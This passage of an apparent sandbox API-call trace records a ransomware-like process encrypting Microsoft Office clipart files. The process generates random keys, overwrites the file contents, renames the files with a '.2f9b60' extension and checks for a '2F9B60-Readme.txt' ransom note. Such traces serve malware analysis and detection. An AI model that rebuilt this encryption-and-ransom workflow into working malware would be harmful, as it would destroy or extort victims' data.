lpBuffer=0x201bd170*, lpNumberOfBytesRead=0x2a40fab0*=0x135b, lpOverlapped=0x0) returned 1 [0096.264] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.264] WriteFile (in: hFile=0xeb4, lpBuffer=0x201a2d00*, nNumberOfBytesToWrite=0x135b, lpNumberOfBytesWritten=0x2a40fab4, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesWritten=0x2a40fab4*=0x135b, lpOverlapped=0x0) returned 1 [0096.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8190 [0096.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81c0 [0096.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81c0) returned 1 [0096.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0096.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201bd170) returned 1 [0096.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0096.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0096.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced81c0 [0096.286] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.287] WriteFile (in: hFile=0xeb4, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a40fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2a40fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0096.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0096.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0096.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0096.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0096.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0096.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0096.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0096.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0096.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0096.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.315] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="b7") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="b2") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="5d") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="bc") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="c3") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="ef") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="b5") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="26") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="38") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="f8") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="ff") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="a0") returned 2 [0096.315] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="cb") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="e7") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="d3") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="7f") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="ce") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="4b") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="0a") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="58") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="5a") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="4c") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="21") returned 2 [0096.316] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="b4") returned 2 [0096.316] RtlInitAnsiString (in: DestinationString=0x2a40fc48, SourceString="b7b25dbcc3efb52638f8ffa0cbe7d37fce4b0a585a4c21b4" | out: DestinationString="b7b25dbcc3efb52638f8ffa0cbe7d37fce4b0a585a4c21b4") [0096.316] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a40fc18, SourceString="b7b25dbcc3efb52638f8ffa0cbe7d37fce4b0a585a4c21b4", AllocateDestinationString=1 | out: DestinationString="b7b25dbcc3efb52638f8ffa0cbe7d37fce4b0a585a4c21b4") returned 0x0 [0096.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863dc0 [0096.316] wcscat (in: _Dest=0x1b7ae2e0, _Source="b7b25dbcc3ef" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7b25dbcc3ef") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7b25dbcc3ef" [0096.316] wcscat (in: _Dest=0x1b7ae2e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7b25dbcc3ef.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7b25dbcc3ef.2f9b60" [0096.317] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7b25dbcc3ef.2f9b60", NtPathName=0x2a40fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7b25dbcc3ef.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278230 [0109.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278230) returned 1 [0109.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0109.570] NtQueryInformationFile (in: FileHandle=0xeb4, IoStatusBlock=0x2a40fc58, FileInformation=0x2a40fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a40fc58, FileInformation=0x2a40fc68) returned 0x0 [0109.570] NtSetInformationFile (FileHandle=0xeb4, IoStatusBlock=0x2a40fc58, FileInformation=0x2a40fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae2e0) returned 1 [0109.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863dc0) returned 1 [0109.580] FlushFileBuffers (hFile=0xeb4) returned 1 [0109.599] CloseHandle (hObject=0xeb4) returned 1 [0109.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae4c0 [0109.600] wcscpy (in: _Dest=0x1b7ae4c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.600] wcscat (in: _Dest=0x1b7ae4c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae4c0) returned 1 [0109.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d1d0) returned 1 Thread: id = 655 os_tid = 0x1120 [0095.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0096.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF", dwFileAttributes=0x20) returned 1 [0096.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb0 [0096.081] GetFileSizeEx (in: hFile=0xeb0, lpFileSize=0x2a21fb40 | out: lpFileSize=0x2a21fb40*=5030) returned 1 [0096.081] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x13a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.081] ReadFile (in: hFile=0xeb0, lpBuffer=0x2a21fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a21fb08, lpOverlapped=0x0 | out: lpBuffer=0x2a21fac0*, lpNumberOfBytesRead=0x2a21fb08*=0x4, lpOverlapped=0x0) returned 1 [0096.173] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0096.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0096.173] NtQuerySystemTime (in: CurrentTime=0x2a21fa00 | out: CurrentTime=0x2a21fa00*=132462177020002000) returned 0x0 [0096.173] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x6422d4c3 [0096.173] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x2770ec86 [0096.173] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x8770a9a [0096.173] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x4680abe1 [0096.173] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x503ff74b [0096.173] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x2816323a [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x7b2c9aed [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x4f4773a9 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x15390ba1 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x29dc9502 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x33af234 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0xb22a5b3 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x37559e50 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x329e8f2f [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x6c34501 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x27dbcbad [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x36705cb2 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0xf468e7b [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0xe7d859a [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x2708f9a [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x22b4f812 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x36705cb2 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x10f4ffb3 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x4bfab1ad [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x5b59baf2 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x19d045e7 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x7ce433d8 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0xb7a481a [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x1b3fea06 [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x7ae837de [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0xa1d33c [0096.174] RtlRandomEx (in: Seed=0x2a21f9f0 | out: Seed=0x2a21f9f0) returned 0x7561aff7 [0096.185] ReadFile (in: hFile=0xeb0, lpBuffer=0x201a6910, nNumberOfBytesToRead=0x13a6, lpNumberOfBytesRead=0x2a21f9f0, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesRead=0x2a21f9f0*=0x13a6, lpOverlapped=0x0) returned 1 [0096.266] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.266] WriteFile (in: hFile=0xeb0, lpBuffer=0x201aa520*, nNumberOfBytesToWrite=0x13a6, lpNumberOfBytesWritten=0x2a21f9f4, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesWritten=0x2a21f9f4*=0x13a6, lpOverlapped=0x0) returned 1 [0096.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffa0 [0096.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0096.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0096.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0096.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0096.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0096.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f8b0 [0096.336] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0096.336] WriteFile (in: hFile=0xeb0, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a21fb10, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2a21fb10*=0x10a, lpOverlapped=0x0) returned 1 [0096.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0096.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867140 [0096.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0096.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0096.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0096.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0096.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0096.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0096.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867140) returned 1 [0096.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0096.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee70 [0096.372] sprintf (in: _Dest=0x1cd9ee70, _Format="%c%c" | out: _Dest="2e") returned 2 [0096.372] sprintf (in: _Dest=0x1cd9ee72, _Format="%c%c" | out: _Dest="82") returned 2 [0096.372] sprintf (in: _Dest=0x1cd9ee74, _Format="%c%c" | out: _Dest="2b") returned 2 [0096.372] sprintf (in: _Dest=0x1cd9ee76, _Format="%c%c" | out: _Dest="c4") returned 2 [0096.372] sprintf (in: _Dest=0x1cd9ee78, _Format="%c%c" | out: _Dest="c7") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee7a, _Format="%c%c" | out: _Dest="89") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee7c, _Format="%c%c" | out: _Dest="2e") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee7e, _Format="%c%c" | out: _Dest="24") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee80, _Format="%c%c" | out: _Dest="50") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee82, _Format="%c%c" | out: _Dest="0e") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee84, _Format="%c%c" | out: _Dest="94") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee86, _Format="%c%c" | out: _Dest="b2") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee88, _Format="%c%c" | out: _Dest="57") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee8a, _Format="%c%c" | out: _Dest="64") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee8c, _Format="%c%c" | out: _Dest="00") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee8e, _Format="%c%c" | out: _Dest="51") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee90, _Format="%c%c" | out: _Dest="e2") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee92, _Format="%c%c" | out: _Dest="8b") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee94, _Format="%c%c" | out: _Dest="24") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee96, _Format="%c%c" | out: _Dest="f6") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee98, _Format="%c%c" | out: _Dest="34") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee9a, _Format="%c%c" | out: _Dest="bb") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee9c, _Format="%c%c" | out: _Dest="b2") returned 2 [0096.373] sprintf (in: _Dest=0x1cd9ee9e, _Format="%c%c" | out: _Dest="6f") returned 2 [0096.373] RtlInitAnsiString (in: DestinationString=0x2a21fb88, SourceString="2e822bc4c7892e24500e94b257640051e28b24f634bbb26f" | out: DestinationString="2e822bc4c7892e24500e94b257640051e28b24f634bbb26f") [0096.373] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a21fb58, SourceString="2e822bc4c7892e24500e94b257640051e28b24f634bbb26f", AllocateDestinationString=1 | out: DestinationString="2e822bc4c7892e24500e94b257640051e28b24f634bbb26f") returned 0x0 [0096.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863ea0 [0096.374] wcscat (in: _Dest=0x1b7ae420, _Source="2e822bc4c789" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2e822bc4c789") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2e822bc4c789" [0096.374] wcscat (in: _Dest=0x1b7ae420, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2e822bc4c789.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2e822bc4c789.2f9b60" [0096.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2e822bc4c789.2f9b60", NtPathName=0x2a21fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2e822bc4c789.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202783b0 [0109.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202783b0) returned 1 [0109.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a340) returned 1 [0109.577] NtQueryInformationFile (in: FileHandle=0xeb0, IoStatusBlock=0x2a21fb98, FileInformation=0x2a21fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a21fb98, FileInformation=0x2a21fba8) returned 0x0 [0109.577] NtSetInformationFile (FileHandle=0xeb0, IoStatusBlock=0x2a21fb98, FileInformation=0x2a21fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0109.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ea0) returned 1 [0109.585] FlushFileBuffers (hFile=0xeb0) returned 1 [0109.590] CloseHandle (hObject=0xeb0) returned 1 [0109.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae4c0 [0109.593] wcscpy (in: _Dest=0x1b7ae4c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.593] wcscat (in: _Dest=0x1b7ae4c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae4c0) returned 1 [0109.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d260) returned 1 Thread: id = 656 os_tid = 0x1124 [0095.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0096.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF", dwFileAttributes=0x20) returned 1 [0096.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeac [0096.079] GetFileSizeEx (in: hFile=0xeac, lpFileSize=0x2a5bfc80 | out: lpFileSize=0x2a5bfc80*=1146) returned 1 [0096.079] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x476, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.079] ReadFile (in: hFile=0xeac, lpBuffer=0x2a5bfc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a5bfc48, lpOverlapped=0x0 | out: lpBuffer=0x2a5bfc00*, lpNumberOfBytesRead=0x2a5bfc48*=0x4, lpOverlapped=0x0) returned 1 [0096.157] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0096.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0096.158] NtQuerySystemTime (in: CurrentTime=0x2a5bfb40 | out: CurrentTime=0x2a5bfb40*=132462177019846000) returned 0x0 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x6499bc24 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x25b9d1a3 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x64db700a [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x6caccca6 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x49e73ec3 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x553f513c [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x221f188c [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x663555cd [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x37f45a82 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x6c34501 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x7613a2b2 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x3abe609e [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x6d09fb1b [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x6b0976b2 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x6c3cc7e7 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x1803a28b [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 0x4b926ae1 [0096.158] RtlRandomEx (in: Seed=0x2a5bfb30 | out: Seed=0x2a5bfb30) returned 